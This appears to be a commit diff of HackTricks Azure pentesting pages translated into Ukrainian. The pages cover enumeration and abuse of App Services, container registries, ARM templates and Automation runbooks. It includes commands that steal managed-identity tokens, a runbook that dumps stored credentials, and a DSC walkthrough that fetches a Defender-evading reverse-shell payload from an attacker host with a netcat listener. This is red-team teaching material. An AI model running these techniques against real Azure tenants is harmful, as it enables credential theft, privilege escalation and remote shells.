Translated ['.github/pull_request_template.md', 'src/pentesting-cloud/az

This commit is contained in:
Translator
2024-12-31 19:09:02 +00:00
parent 7770a50092
commit 4ecda9fe96
244 changed files with 8478 additions and 11318 deletions

View File

@@ -2,28 +2,27 @@
{{#include ../../../banners/hacktricks-training.md}}
## Portals
## Портали
You can find the list of **Microsoft portals in** [**https://msportals.io/**](https://msportals.io/)
Ви можете знайти список **порталів Microsoft за адресою** [**https://msportals.io/**](https://msportals.io/)
### Raw requests
### Сирі запити
#### Azure API via Powershell
#### Azure API через Powershell
Get **access_token** from **IDENTITY_HEADER** and **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Then query the Azure REST API to get the **subscription ID** and more .
Отримайте **access_token** з **IDENTITY_HEADER** та **IDENTITY_ENDPOINT**: `system('curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER');`.
Потім запитайте Azure REST API, щоб отримати **ідентифікатор підписки** та інше.
```powershell
$Token = 'eyJ0eX..'
$URI = 'https://management.azure.com/subscriptions?api-version=2020-01-01'
# $URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
Method = 'GET'
Uri = $URI
Headers = @{
'Authorization' = "Bearer $Token"
}
}
(Invoke-RestMethod @RequestParams).value
@@ -31,9 +30,7 @@ $RequestParams = @{
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resources?api-version=2020-10-01'
$URI = 'https://management.azure.com/subscriptions/b413826f-108d-4049-8c11-d52d5d388768/resourceGroups/<RG-NAME>/providers/Microsoft.Compute/virtualMachines/<RESOURCE/providers/Microsoft.Authorization/permissions?apiversion=2015-07-01'
```
#### Azure API via Python Version
#### Azure API через версію Python
```python
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
@@ -50,28 +47,21 @@ val = os.popen(cmd).read()
print(json.loads(val)["access_token"])
print("ClientID/AccountID: "+json.loads(val)["client_id"])
```
or inside a Python Function:
або всередині функції Python:
```python
import logging, os
import azure.functions as func
def main(req: func.HttpRequest) -> func.HttpResponse:
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)
logging.info('Python HTTP trigger function processed a request.')
IDENTITY_ENDPOINT = os.environ['IDENTITY_ENDPOINT']
IDENTITY_HEADER = os.environ['IDENTITY_HEADER']
cmd = 'curl "%s?resource=https://management.azure.com&apiversion=2017-09-01" -H secret:%s' % (IDENTITY_ENDPOINT, IDENTITY_HEADER)
val = os.popen(cmd).read()
return func.HttpResponse(val, status_code=200)
```
## Список послуг
## List of Services
**The pages of this section are ordered by Azure service. In there you will be able to find information about the service (how it works and capabilities) and also how to enumerate each service.**
**Сторінки цього розділу впорядковані за службами Azure. Тут ви зможете знайти інформацію про службу (як вона працює та її можливості), а також про те, як перерахувати кожну службу.**
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,14 +2,13 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
Azure Container Registry (ACR) is a managed service provided by Microsoft Azure for **storing and managing Docker container images and other artifacts**. It offers features such as integrated developer tools, geo-replication, security measures like role-based access control and image scanning, automated builds, webhooks and triggers, and network isolation. It works with popular tools like Docker CLI and Kubernetes, and integrates well with other Azure services.
Azure Container Registry (ACR) - це керована служба, що надається Microsoft Azure для **зберігання та управління зображеннями контейнерів Docker та іншими артефактами**. Вона пропонує такі функції, як інтегровані інструменти для розробників, геореплікація, заходи безпеки, такі як контроль доступу на основі ролей та сканування зображень, автоматизовані збірки, вебхуки та тригери, а також ізоляція мережі. Вона працює з популярними інструментами, такими як Docker CLI та Kubernetes, і добре інтегрується з іншими службами Azure.
### Enumerate
To enumerate the service you could use the script [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
### Перерахування
Щоб перерахувати службу, ви можете використовувати скрипт [**Get-AzACR.ps1**](https://github.com/NetSPI/MicroBurst/blob/master/Misc/Get-AzACR.ps1):
```bash
# List Docker images inside the registry
IEX (New-Object Net.Webclient).downloadstring("https://raw.githubusercontent.com/NetSPI/MicroBurst/master/Misc/Get-AzACR.ps1")
@@ -18,19 +17,15 @@ Set-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Internet Explorer\Main" -Name "
Get-AzACR -username <username> -password <password> -registry <corp-name>.azurecr.io
```
{{#tabs }}
{{#tab name="az cli" }}
```bash
az acr list --output table
az acr show --name MyRegistry --resource-group MyResourceGroup
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# List all ACRs in your subscription
Get-AzContainerRegistry
@@ -38,19 +33,12 @@ Get-AzContainerRegistry
# Get a specific ACR
Get-AzContainerRegistry -ResourceGroupName "MyResourceGroup" -Name "MyRegistry"
```
{{#endtab }}
{{#endtabs }}
Login & Pull from the registry
Увійти та витягнути з реєстру
```bash
docker login <corp-name>.azurecr.io --username <username> --password <password>
docker pull <corp-name>.azurecr.io/<image>:<tag>
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,28 +4,28 @@
## App Service Basic Information
Azure App Services enables developers to **build, deploy, and scale web applications, mobile app backends, and APIs seamlessly**. It supports multiple programming languages and integrates with various Azure tools and services for enhanced functionality and management.
Azure App Services дозволяє розробникам **створювати, розгортати та масштабувати веб-додатки, бекенди мобільних додатків та API безперешкодно**. Він підтримує кілька мов програмування та інтегрується з різними інструментами та сервісами Azure для покращення функціональності та управління.
Each app runs inside a sandbox but isolation depends upon App Service plans
Кожен додаток працює в пісочниці, але ізоляція залежить від планів App Service
- Apps in Free and Shared tiers run on shared VMs
- Apps in Standard and Premium tiers run on dedicated VMs
- Додатки в безкоштовних та спільних тарифах працюють на спільних віртуальних машинах
- Додатки в стандартних та преміум тарифах працюють на виділених віртуальних машинах
> [!WARNING]
> Note that **none** of those isolations **prevents** other common **web vulnerabilities** (such as file upload, or injections). And if a **management identity** is used, it could be able to **esalate privileges to them**.
> Зверніть увагу, що **жодна** з цих ізоляцій **не запобігає** іншим загальним **веб-вразливостям** (таким як завантаження файлів або ін'єкції). І якщо використовується **ідентифікатор управління**, він може **підвищити привілеї до них**.
### Azure Function Apps
Basically **Azure Function apps are a subset of Azure App Service** in the web and if you go to the web console and list all the app services or execute `az webapp list` in az cli you will be able to **see the Function apps also listed here**.
В основному **Azure Function apps є підмножиною Azure App Service** у вебі, і якщо ви перейдете до веб-консолі та перелікуєте всі служби додатків або виконаєте `az webapp list` в az cli, ви зможете **побачити, що функціональні додатки також тут перераховані**.
Actually some of the **security related features** App services use (`webapp` in the az cli), are **also used by Function apps**.
Насправді деякі з **функцій, пов'язаних із безпекою**, які використовують служби додатків (`webapp` в az cli), **також використовуються функціональними додатками**.
## Basic Authentication
When creating a web app (and a Azure function usually) it's possible to indicate if you want Basic Authentication to be enabled. This basically **enables SCM and FTP** for the application so it'll be possible to deploy the application using those technologies.\
Moreover in order to connect to them, Azure provides an **API that allows to get the username, password and URL** to connect to the SCM and FTP servers.
При створенні веб-додатку (і зазвичай Azure функції) можливо вказати, чи хочете ви, щоб була увімкнена базова аутентифікація. Це в основному **включає SCM та FTP** для програми, тому буде можливим розгорнути програму, використовуючи ці технології.\
Більше того, для підключення до них Azure надає **API, який дозволяє отримати ім'я користувача, пароль та URL** для підключення до серверів SCM та FTP.
- Authentication: az webapp auth show --name lol --resource-group lol_group
- Аутентифікація: az webapp auth show --name lol --resource-group lol_group
SSH
@@ -37,7 +37,6 @@ Debugging
{{#tabs }}
{{#tab name="az" }}
```bash
# List webapps
az webapp list
@@ -101,15 +100,15 @@ az functionapp show --name <app-name> --resource-group <res-group>
# Get details about the source of the function code
az functionapp deployment source show \
--name <app-name> \
--resource-group <res-group>
--name <app-name> \
--resource-group <res-group>
## If error like "This is currently not supported."
## Then, this is probalby using a container
# Get more info if a container is being used
az functionapp config container show \
--name <name> \
--resource-group <res-group>
--name <name> \
--resource-group <res-group>
# Get settings (and privesc to the sorage account)
az functionapp config appsettings list --name <app-name> --resource-group <res-group>
@@ -125,7 +124,7 @@ az functionapp config access-restriction show --name <app-name> --resource-group
# Get more info about a function (invoke_url_template is the URL to invoke and script_href allows to see the code)
az rest --method GET \
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
--url "https://management.azure.com/subscriptions/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/functions?api-version=2024-04-01"
# Get source code with Master Key of the function
curl "<script_href>?code=<master-key>"
@@ -135,22 +134,18 @@ curl "https://newfuncttest123.azurewebsites.net/admin/vfs/home/site/wwwroot/func
# Get source code
az rest --url "https://management.azure.com/<subscription>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/hostruntime/admin/vfs/function_app.py?relativePath=1&api-version=2022-03-01"
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
```
{{#endtab }}
{{#tab name="az get all" }}
```bash
#!/bin/bash
@@ -170,21 +165,19 @@ list_app_services=$(az appservice list --query "[].{appServiceName: name, group:
# Iterate over each App Service
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
# Get the type of the App Service
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
# Get the type of the App Service
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
# Check if it is a Function App and print its name
if [ "$service_type" == "functionapp" ]; then
echo "Function App Name: $appServiceName"
fi
# Check if it is a Function App and print its name
if [ "$service_type" == "functionapp" ]; then
echo "Function App Name: $appServiceName"
fi
done
```
{{#endtab }}
{{#endtabs }}
#### Obtain credentials & get access to the webapp code
#### Отримати облікові дані та отримати доступ до коду веб-додатку
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
@@ -202,17 +195,12 @@ git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.gi
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## References
## Посилання
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,23 +4,22 @@
## Basic Information
[From the docs:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
[З документації:](https://learn.microsoft.com/en-us/entra/identity/app-proxy/application-proxy)
Azure Active Directory's Application Proxy provides **secure remote access to on-premises web applications**. After a **single sign-on to Azure AD**, users can access both **cloud** and **on-premises applications** through an **external URL** or an internal application portal.
Application Proxy Azure Active Directory забезпечує **безпечний віддалений доступ до веб-додатків на локальному сервері**. Після **єдиного входу в Azure AD** користувачі можуть отримати доступ як до **хмарних**, так і до **локальних додатків** через **зовнішню URL-адресу** або внутрішній портал додатків.
It works like this:
Це працює так:
<figure><img src="../../../images/image (186).png" alt=""><figcaption></figcaption></figure>
1. After the user has accessed the application through an endpoint, the user is directed to the **Azure AD sign-in page**.
2. After a **successful sign-in**, Azure AD sends a **token** to the user's client device.
3. The client sends the token to the **Application Proxy service**, which retrieves the user principal name (UPN) and security principal name (SPN) from the token. **Application Proxy then sends the request to the Application Proxy connector**.
4. If you have configured single sign-on, the connector performs any **additional authentication** required on behalf of the user.
5. The connector sends the request to the **on-premises application**.
6. The **response** is sent through the connector and Application Proxy service **to the user**.
1. Після того, як користувач отримав доступ до додатку через кінцеву точку, користувач перенаправляється на **сторінку входу Azure AD**.
2. Після **успішного входу** Azure AD надсилає **токен** на пристрій користувача.
3. Клієнт надсилає токен до **сервісу Application Proxy**, який отримує ім'я основного користувача (UPN) та ім'я безпеки (SPN) з токена. **Application Proxy потім надсилає запит до з'єднувача Application Proxy**.
4. Якщо ви налаштували єдиний вхід, з'єднувач виконує будь-яку **додаткову аутентифікацію**, необхідну від імені користувача.
5. З'єднувач надсилає запит до **локального додатку**.
6. **Відповідь** надсилається через з'єднувач і сервіс Application Proxy **користувачу**.
## Enumeration
```powershell
# Enumerate applications with application proxy configured
Get-AzureADApplication | %{try{Get-AzureADApplicationProxyApplication -ObjectId $_.ObjectID;$_.DisplayName;$_.ObjectID}catch{}}
@@ -32,13 +31,8 @@ Get-AzureADServicePrincipal -All $true | ?{$_.DisplayName -eq "Name"}
# to find users and groups assigned to the application. Pass the ObjectID of the Service Principal to it
Get-ApplicationProxyAssignedUsersAndGroups -ObjectId <object-id>
```
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy](https://learn.microsoft.com/en-us/azure/active-directory/app-proxy/application-proxy)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,18 +2,17 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
[From the docs:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) To implement **infrastructure as code for your Azure solutions**, use Azure Resource Manager templates (ARM templates). The template is a JavaScript Object Notation (**JSON**) file that **defines** the **infrastructure** and configuration for your project. The template uses declarative syntax, which lets you state what you intend to deploy without having to write the sequence of programming commands to create it. In the template, you specify the resources to deploy and the properties for those resources.
[З документації:](https://learn.microsoft.com/en-us/azure/azure-resource-manager/templates/overview) Щоб реалізувати **інфраструктуру як код для ваших рішень Azure**, використовуйте шаблони Azure Resource Manager (ARM шаблони). Шаблон - це файл JavaScript Object Notation (**JSON**), який **визначає** **інфраструктуру** та конфігурацію для вашого проєкту. Шаблон використовує декларативний синтаксис, що дозволяє вам вказати, що ви маєте намір розгорнути, не пишучи послідовність команд програмування для його створення. У шаблоні ви вказуєте ресурси для розгортання та властивості для цих ресурсів.
### History
### Історія
If you can access it, you can have **info about resources** that are not present but might be deployed in the future. Moreover, if a **parameter** containing **sensitive info** was marked as "**String**" **instead** of "**SecureString**", it will be present in **clear-text**.
Якщо ви можете отримати доступ, ви можете мати **інформацію про ресурси**, які не присутні, але можуть бути розгорнуті в майбутньому. Більше того, якщо **параметр**, що містить **чутливу інформацію**, був позначений як "**String**" **замість** "**SecureString**", він буде присутній у **відкритому тексті**.
## Search Sensitive Info
Users with the permissions `Microsoft.Resources/deployments/read` and `Microsoft.Resources/subscriptions/resourceGroups/read` can **read the deployment history**.
## Пошук чутливої інформації
Користувачі з правами `Microsoft.Resources/deployments/read` та `Microsoft.Resources/subscriptions/resourceGroups/read` можуть **читати історію розгортання**.
```powershell
Get-AzResourceGroup
Get-AzResourceGroupDeployment -ResourceGroupName <name>
@@ -23,13 +22,8 @@ Save-AzResourceGroupDeploymentTemplate -ResourceGroupName <RESOURCE GROUP> -Depl
cat <DEPLOYMENT NAME>.json # search for hardcoded password
cat <PATH TO .json FILE> | Select-String password
```
## References
## Посилання
- [https://app.gitbook.com/s/5uvPQhxNCPYYTqpRwsuS/\~/changes/argKsv1NUBY9l4Pd28TU/pentesting-cloud/azure-security/az-services/az-arm-templates#references](az-arm-templates.md#references)
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,54 +2,53 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## Основна інформація
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation delivers a cloud-based automation, operating system updates, and configuration service that supports consistent management across your Azure and non-Azure environments. It includes process automation, configuration management, update management, shared capabilities, and heterogeneous features.
[З документації:](https://learn.microsoft.com/en-us/azure/automation/overview) Azure Automation надає хмарну автоматизацію, оновлення операційної системи та сервіс конфігурації, який підтримує послідовне управління у ваших Azure та не-Azure середовищах. Він включає автоматизацію процесів, управління конфігурацією, управління оновленнями, спільні можливості та гетерогенні функції.
These are like "**scheduled tasks**" in Azure that will let you execute things (actions or even scripts) to **manage**, check and configure the **Azure environment**.
Це схоже на "**планові завдання**" в Azure, які дозволять вам виконувати дії (дії або навіть скрипти) для **управління**, перевірки та налаштування **середовища Azure**.
### Run As Account
### Обліковий запис Run As
When **Run as Account** is used, it creates an Azure AD **application** with self-signed certificate, creates a **service principal** and assigns the **Contributor** role for the account in the **current subscription** (a lot of privileges).\
Microsoft recommends using a **Managed Identity** for Automation Account.
Коли використовується **Run as Account**, він створює Azure AD **додаток** з самопідписаним сертифікатом, створює **сервісний принципал** і призначає роль **Contributor** для облікового запису в **поточній підписці** (багато привілеїв).\
Microsoft рекомендує використовувати **Managed Identity** для Automation Account.
> [!WARNING]
> This will be **removed on September 30, 2023 and changed for Managed Identities.**
> Це буде **видалено 30 вересня 2023 року і змінено на Managed Identities.**
## Runbooks & Jobs
**Runbooks** allow you to **execute arbitrary PowerShell** code. This could be **abused by an attacker** to steal the permissions of the **attached principal** (if any).\
In the **code** of **Runbooks** you could also find **sensitive info** (such as creds).
**Runbooks** дозволяють вам **виконувати довільний код PowerShell**. Це може бути **зловжито зловмисником** для викрадення дозволів **прикріпленого принципала** (якщо такий є).\
У **коді** **Runbooks** ви також можете знайти **чутливу інформацію** (таку як облікові дані).
If you can **read** the **jobs**, do it as they **contain** the **output** of the run (potential **sensitive info**).
Якщо ви можете **читати** **завдання**, зробіть це, оскільки вони **містять** **вихідні дані** виконання (потенційно **чутливу інформацію**).
Go to `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
Перейдіть до `Automation Accounts` --> `<Select Automation Account>` --> `Runbooks/Jobs/Hybrid worker groups/Watcher tasks/credentials/variables/certificates/connections`
### Hybrid Worker
### Гібридний працівник
A Runbook can be run in a **container inside Azure** or in a **Hybrid Worker** (non-azure machine).\
The **Log Analytics Agent** is deployed on the VM to register it as a hybrid worker.\
The hybrid worker jobs run as **SYSTEM** on Windows and **nxautomation** account on Linux.\
Each Hybrid Worker is registered in a **Hybrid Worker Group**.
Runbook може бути виконаний у **контейнері всередині Azure** або в **Hybrid Worker** (не-Azure машина).\
**Log Analytics Agent** розгортається на віртуальній машині, щоб зареєструвати її як гібридного працівника.\
Завдання гібридного працівника виконуються як **SYSTEM** на Windows і **nxautomation** обліковий запис на Linux.\
Кожен гібридний працівник зареєстрований у **Hybrid Worker Group**.
Therefore, if you can choose to run a **Runbook** in a **Windows Hybrid Worker**, you will execute **arbitrary commands** inside an external machine as **System** (nice pivot technique).
Отже, якщо ви можете вибрати виконання **Runbook** у **Windows Hybrid Worker**, ви будете виконувати **довільні команди** всередині зовнішньої машини як **System** (гарна техніка повороту).
## Compromise State Configuration (SC)
## Стан конфігурації компрометації (SC)
[From the docs:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** is an Azure configuration management service that allows you to write, manage, and compile PowerShell Desired State Configuration (DSC) [configurations](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) for nodes in any cloud or on-premises datacenter. The service also imports [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources), and assigns configurations to target nodes, all in the cloud. You can access Azure Automation State Configuration in the Azure portal by selecting **State configuration (DSC)** under **Configuration Management**.
[З документації:](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview) Azure Automation **State Configuration** є сервісом управління конфігурацією Azure, який дозволяє вам писати, управляти та компілювати PowerShell Desired State Configuration (DSC) [конфігурації](https://learn.microsoft.com/en-us/powershell/dsc/configurations/configurations) для вузлів у будь-якому хмарному або локальному дата-центрі. Сервіс також імпортує [DSC Resources](https://learn.microsoft.com/en-us/powershell/dsc/resources/resources) і призначає конфігурації цільовим вузлам, все в хмарі. Ви можете отримати доступ до Azure Automation State Configuration в порталі Azure, вибравши **State configuration (DSC)** під **Configuration Management**.
**Sensitive information** could be found in these configurations.
**Чутлива інформація** може бути знайдена в цих конфігураціях.
### RCE
It's possible to abuse SC to run arbitrary scripts in the managed machines.
Можливо зловживати SC для виконання довільних скриптів на керованих машинах.
{{#ref}}
az-state-configuration-rce.md
{{#endref}}
## Enumeration
## Перерахування
```powershell
# Check user right for automation
az extension add --upgrade -n automation
@@ -80,9 +79,7 @@ Get-AzAutomationAccount | Get-AzAutomationPython3Package
# List hybrid workers
Get-AzAutomationHybridWorkerGroup -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME>
```
### Create a Runbook
### Створити Runbook
```powershell
# Get the role of a user on the Automation account
# Contributor or higher = Can create and execute Runbooks
@@ -97,9 +94,7 @@ Publish-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -AutomationAccountName <
# Start the Runbook
Start-AzAutomationRunbook -RunbookName <RUNBOOK-NAME> -RunOn Workergroup1 -AutomationAccountName <AUTOMATION-ACCOUNT> -ResourceGroupName <RG-NAME> -Verbose
```
### Exfiltrate Creds & Variables defined in an Automation Account using a Run Book
### Витягнення облікових даних та змінних, визначених в обліковому записі автоматизації, за допомогою Run Book
```powershell
# Change the crdentials & variables names and add as many as you need
@'
@@ -122,61 +117,54 @@ $start = Start-AzAutomationRunBook -Name $RunBookName -AutomationAccountName $Au
start-sleep 20
($start | Get-AzAutomationJob | Get-AzAutomationJobOutput).Summarynt
```
> [!NOTE]
> You could do the same thing modifying an existing Run Book, and from the web console.
> Ви можете зробити те ж саме, модифікувавши існуючий Run Book, і з веб-консолі.
### Steps for Setting Up an Automated Highly Privileged User Creation
### Кроки для налаштування автоматизованого створення користувача з високими привілеями
#### 1. Initialize an Automation Account
#### 1. Ініціалізація облікового запису автоматизації
- **Action Required:** Create a new Automation Account.
- **Specific Setting:** Ensure "Create Azure Run As account" is enabled.
- **Дія, що вимагається:** Створіть новий обліковий запис автоматизації.
- **Специфічне налаштування:** Переконайтеся, що "Створити обліковий запис Azure Run As" увімкнено.
#### 2. Import and Set Up Runbook
#### 2. Імпорт і налаштування Runbook
- **Source:** Download the sample runbook from [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Actions Required:**
- Import the runbook into the Automation Account.
- Publish the runbook to make it executable.
- Attach a webhook to the runbook, enabling external triggers.
- **Джерело:** Завантажте зразок runbook з [MicroBurst GitHub Repository](https://github.com/NetSPI/MicroBurst).
- **Вимоги до дій:**
- Імпортуйте runbook в обліковий запис автоматизації.
- Опублікуйте runbook, щоб зробити його виконуваним.
- Прикріпіть вебхук до runbook, щоб увімкнути зовнішні тригери.
#### 3. Configure AzureAD Module
#### 3. Налаштування модуля AzureAD
- **Action Required:** Add the AzureAD module to the Automation Account.
- **Additional Step:** Ensure all Azure Automation Modules are updated to their latest versions.
- **Дія, що вимагається:** Додайте модуль AzureAD до облікового запису автоматизації.
- **Додатковий крок:** Переконайтеся, що всі модулі автоматизації Azure оновлені до останніх версій.
#### 4. Permission Assignment
#### 4. Призначення дозволів
- **Roles to Assign:**
- User Administrator
- Subscription Owner
- **Target:** Assign these roles to the Automation Account for necessary privileges.
- **Ролі для призначення:**
- Адміністратор користувачів
- Власник підписки
- **Ціль:** Призначте ці ролі обліковому запису автоматизації для необхідних привілеїв.
#### 5. Awareness of Potential Access Loss
#### 5. Увага до потенційної втрати доступу
- **Note:** Be aware that configuring such automation might lead to losing control over the subscription.
- **Примітка:** Будьте обережні, що налаштування такої автоматизації може призвести до втрати контролю над підпискою.
#### 6. Trigger User Creation
- Trigger the webhook to create a new user by sending a POST request.
- Use the PowerShell script provided, ensuring to replace the `$uri` with your actual webhook URL and updating the `$AccountInfo` with the desired username and password.
#### 6. Запуск створення користувача
- Запустіть вебхук для створення нового користувача, надіславши POST-запит.
- Використовуйте наданий скрипт PowerShell, переконавшись, що ви замінили `$uri` на вашу фактичну URL-адресу вебхука та оновили `$AccountInfo` з бажаним ім'ям користувача та паролем.
```powershell
$uri = "<YOUR_WEBHOOK_URL>"
$AccountInfo = @(@{RequestBody=@{Username="<DESIRED_USERNAME>";Password="<DESIRED_PASSWORD>"}})
$body = ConvertTo-Json -InputObject $AccountInfo
$response = Invoke-WebRequest -Method Post -Uri $uri -Body $body
```
## References
## Посилання
- [https://learn.microsoft.com/en-us/azure/automation/overview](https://learn.microsoft.com/en-us/azure/automation/overview)
- [https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview](https://learn.microsoft.com/en-us/azure/automation/automation-dsc-overview)
- [https://github.com/rootsecdev/Azure-Red-Team#runbook-automation](https://github.com/rootsecdev/Azure-Red-Team#runbook-automation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,68 +2,56 @@
{{#include ../../../../banners/hacktricks-training.md}}
**Check the complete post in:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
**Перегляньте повну публікацію за адресою:** [**https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe**](https://medium.com/cepheisecurity/abusing-azure-dsc-remote-code-execution-and-privilege-escalation-ab8c35dd04fe)
### Summary of Remote Server (C2) Infrastructure Preparation and Steps
### Резюме підготовки інфраструктури віддаленого сервера (C2) та кроки
#### Overview
#### Огляд
The process involves setting up a remote server infrastructure to host a modified Nishang `Invoke-PowerShellTcp.ps1` payload, named `RevPS.ps1`, designed to bypass Windows Defender. The payload is served from a Kali Linux machine with IP `40.84.7.74` using a simple Python HTTP server. The operation is executed through several steps:
Процес передбачає налаштування інфраструктури віддаленого сервера для розміщення модифікованого вантажу Nishang `Invoke-PowerShellTcp.ps1`, названого `RevPS.ps1`, призначеного для обходу Windows Defender. Вантаж подається з машини Kali Linux з IP `40.84.7.74` за допомогою простого Python HTTP сервера. Операція виконується через кілька кроків:
#### Step 1 — Create Files
#### Крок 1 — Створення файлів
- **Files Required:** Two PowerShell scripts are needed:
1. `reverse_shell_config.ps1`: A Desired State Configuration (DSC) file that fetches and executes the payload. It is obtainable from [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: A script to publish the configuration to the VM, available at [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Customization:** Variables and parameters in these files must be tailored to the user's specific environment, including resource names, file paths, and server/payload identifiers.
- **Необхідні файли:** Потрібні два скрипти PowerShell:
1. `reverse_shell_config.ps1`: Файл Desired State Configuration (DSC), який отримує та виконує вантаж. Його можна отримати з [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/reverse_shell_config.ps1).
2. `push_reverse_shell_config.ps1`: Скрипт для публікації конфігурації на VM, доступний на [GitHub](https://github.com/nickpupp0/AzureDSCAbuse/blob/master/push_reverse_shell_config.ps1).
- **Налаштування:** Змінні та параметри в цих файлах повинні бути адаптовані до конкретного середовища користувача, включаючи імена ресурсів, шляхи до файлів та ідентифікатори сервера/вантажу.
#### Step 2 — Zip Configuration File
- The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready for transfer to the Azure Storage Account.
#### Крок 2 — Стиснення файлу конфігурації
- Файл `reverse_shell_config.ps1` стискається в `.zip` файл, що робить його готовим для передачі до Azure Storage Account.
```powershell
Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip
```
#### Крок 3 — Встановлення контексту зберігання та завантаження
#### Step 3 — Set Storage Context & Upload
- The zipped configuration file is uploaded to a predefined Azure Storage container, azure-pentest, using Azure's Set-AzStorageBlobContent cmdlet.
- Стиснутий файл конфігурації завантажується в заздалегідь визначений контейнер зберігання Azure, azure-pentest, за допомогою cmdlet Set-AzStorageBlobContent Azure.
```powershell
Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx
```
#### Крок 4 — Підготовка Kali Box
#### Step 4 — Prep Kali Box
- The Kali server downloads the RevPS.ps1 payload from a GitHub repository.
- Сервер Kali завантажує корисне навантаження RevPS.ps1 з репозиторію GitHub.
```bash
wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1
```
- Скрипт редагується для вказання цільової Windows VM та порту для зворотного шелу.
- The script is edited to specify the target Windows VM and port for the reverse shell.
#### Крок 5 — Опублікувати файл конфігурації
#### Step 5 — Publish Configuration File
- Файл конфігурації виконується, в результаті чого скрипт зворотного шелу розгортається у вказаному місці на Windows VM.
- The configuration file is executed, resulting in the reverse-shell script being deployed to the specified location on the Windows VM.
#### Step 6 — Host Payload and Setup Listener
- A Python SimpleHTTPServer is started to host the payload, along with a Netcat listener to capture incoming connections.
#### Крок 6 — Хостинг корисного навантаження та налаштування прослуховувача
- Запускається Python SimpleHTTPServer для хостингу корисного навантаження, разом з прослуховувачем Netcat для захоплення вхідних з'єднань.
```bash
sudo python -m SimpleHTTPServer 80
sudo nc -nlvp 443
```
- Заплановане завдання виконує корисне навантаження, досягаючи привілеїв рівня SYSTEM.
- The scheduled task executes the payload, achieving SYSTEM-level privileges.
#### Висновок
#### Conclusion
